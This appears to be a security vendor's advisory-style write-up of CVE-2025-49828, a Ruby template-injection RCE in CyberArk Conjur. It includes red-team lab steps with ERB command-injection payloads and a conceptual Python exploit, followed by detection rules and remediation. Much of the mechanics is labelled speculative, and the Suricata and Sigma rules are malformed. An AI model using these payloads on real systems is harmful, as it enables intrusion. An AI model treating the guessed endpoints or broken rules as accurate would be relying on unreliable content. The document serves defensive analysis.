CVE-2025-49828

Executive Summary

CVE-2025-49828 is a critical Remote Code Execution (RCE) vulnerability affecting CyberArk Conjur, a secrets management and application identity platform. The flaw resides in an exposed API endpoint that allows an authenticated attacker, who has already injected malicious secrets or templates into the database, to execute arbitrary Ruby code within the Conjur process. This vulnerability impacts both Conjur OSS (versions 1.19.5 through 1.21.1) and Secrets Manager, Self-Hosted (versions 13.1 through 13.4.1). The attack chain requires initial access to inject malicious data, but the subsequent RCE can lead to full compromise of the secrets management system, exposing all managed credentials and identities. Patches are available in Conjur OSS 1.21.2 and Secrets Manager, Self-Hosted 13.5.

Supply Chain & Package Security

This vulnerability is in a Ruby-based application (Conjur). The attack vector involves injecting malicious Ruby code into the database, which is then executed by the application. This highlights a critical supply chain risk: if an attacker can compromise the database or the pipeline that feeds secrets/templates into it, they can achieve RCE. Organizations using Conjur must ensure strict access controls on the database and validate all inputs that become secrets or templates.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) - The API endpoint is exposed over the network.
• Attack Complexity (AC): Low (L) - The attack does not require special conditions beyond authentication and the ability to inject data.
• Privileges Required (PR): Low (L) - The attacker needs authenticated access to inject secrets/templates.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) - Full access to all secrets.
• Integrity (I): High (H) - Ability to modify secrets and execute code.
• Availability (A): High (H) - Potential to disrupt the service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 8.8 (High)

Deep Dive & Mechanics

The vulnerability is a classic case of insecure deserialization or code injection via a template engine. Conjur uses Ruby-based templates to dynamically generate secrets or configuration. The vulnerable API endpoint likely accepts user-supplied data (secrets or template definitions) and processes them without proper sanitization.

Attack Flow:

1. Initial Access: The attacker gains authenticated access to Conjur (e.g., via compromised API keys, weak passwords, or a separate vulnerability).
2. Injection: The attacker injects a malicious secret or template into the Conjur database. This payload contains Ruby code, such as:

   <%= system("id") %>
   

   or

   <%= `cat /etc/passwd` %>
   

3. Trigger: The attacker then calls the vulnerable API endpoint that processes the injected data. This endpoint likely evaluates the template or secret using Ruby's eval, ERB, or similar functions.
4. Execution: The Ruby code is executed within the Conjur process context, allowing the attacker to run arbitrary commands, exfiltrate data, or pivot to other systems.

The root cause is the lack of input validation and the use of a dynamic evaluation function on untrusted data. The fix likely involves sanitizing inputs, using a safe template engine (e.g., one that does not allow arbitrary code execution), or restricting the API endpoint to only process trusted data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable endpoint that processes a template
post '/api/secrets' do
  template = params[:template]
  # Directly evaluating the template without sanitization
  result = ERB.new(template).result(binding)
  # Store or return result
end

Patched Code (Conceptual):

# Patched endpoint with input validation
post '/api/secrets' do
  template = params[:template]
  # Sanitize the template to prevent code injection
  sanitized_template = sanitize_template(template)
  # Use a safe rendering method
  result = SafeTemplateRenderer.render(sanitized_template)
  # Store or return result
end

def sanitize_template(template)
  # Remove any Ruby code blocks
  template.gsub(/<%.*?%>/m, '')
end

The actual patch in Conjur OSS 1.21.2 and Enterprise 13.5 likely involves:

• Removing or restricting the vulnerable API endpoint.
• Adding input validation to reject templates containing Ruby code.
• Using a sandboxed or safe template engine.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Conjur OSS 1.19.5 instance using Docker:

   docker run -d --name conjur-vuln -p 8080:80 cyberark/conjur:1.19.5
   

2. Authenticate as an admin user (e.g., using default credentials or by exploiting another vulnerability).
3. Inject a malicious secret:

   # Using the Conjur CLI or API
   conjur variable create -i "malicious_secret" -v '<%= system("id > /tmp/pwned") %>'
   

4. Trigger the vulnerable endpoint (e.g., by fetching the secret or using a template rendering API):

   curl -X GET "http://localhost:8080/secrets/malicious_secret" -H "Authorization: Token token=\"...\""
   

5. Verify RCE:

   docker exec conjur-vuln cat /tmp/pwned
   

Exploit Code (Conceptual):

import requests

target = "http://localhost:8080"
api_key = "your_api_key_here"

# Step 1: Inject malicious secret
payload = '<%= system("id > /tmp/pwned") %>'
headers = {"Authorization": f"Token token=\"{api_key}\""}
data = {"id": "exploit_secret", "value": payload}
requests.post(f"{target}/api/secrets", headers=headers, json=data)

# Step 2: Trigger execution
response = requests.get(f"{target}/secrets/exploit_secret", headers=headers)
print(response.text)

Blue Team

Detection:

• Monitor for unusual API calls to the secrets/template endpoints, especially with large or suspicious payloads.
• Look for processes spawning from the Conjur service (e.g., id, curl, bash).
• Audit database entries for secrets containing Ruby code blocks (<%=, <%, #{).

Hunting:

• Search logs for patterns like ERB, eval, or system in API request bodies.
• Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /api/secrets or /secrets/ with POST bodies containing Ruby code (e.g., <%=, system().
• File System: Unexpected files in /tmp/ or /var/tmp/ created by the Conjur process.
• Process: Child processes of the Conjur Ruby process (e.g., sh, bash, id, curl).
• Logs: Conjur application logs showing errors related to template evaluation or unexpected Ruby exceptions.
• Database: Secrets or templates containing Ruby code blocks.

Detection Engineering

YARA Rule

rule CVE_2025_49828_Conjur_RCE {
    meta:
        description = "Detects Ruby code injection in Conjur secrets/templates"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49828"
    strings:
        $ruby_code1 = "<%="
        $ruby_code2 = "<%"
        $ruby_code3 = "#{"
        $system_call = "system("
        $backtick = "`"
    condition:
        any of ($ruby_code*) and any of ($system_call, $backtick)
}

Sigma Rule

title: CVE-2025-49828 Conjur RCE Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-49828 via API requests containing Ruby code
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: conjur
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/secrets'
            - '/secrets/'
        cs-uri-query|contains:
            - '<%='
            - '<%'
            - '#{'
            - 'system('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of Ruby code in templates (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49828 Conjur RCE Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/secrets" or content:"/secrets/"; http_uri; content:"<%="; http_client_body; content:"system("; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch Immediately: Upgrade Conjur OSS to version 1.21.2 or later, and Secrets Manager, Self-Hosted to version 13.5 or later.
2. Input Validation: Implement strict input validation on all API endpoints that accept secrets or templates. Reject any input containing Ruby code patterns.
3. Least Privilege: Ensure that API keys and user accounts have the minimum necessary permissions. Regularly rotate credentials.
4. Network Segmentation: Isolate the Conjur service from untrusted networks. Use firewalls to restrict access to the API.
5. Monitoring: Deploy the detection rules above to monitor for exploitation attempts.
6. Database Security: Encrypt the Conjur database at rest and in transit. Restrict database access to only the Conjur service.
7. Incident Response: If exploitation is suspected, immediately rotate all secrets managed by Conjur and investigate for lateral movement.

Valters IT
Securing Digital Frontiers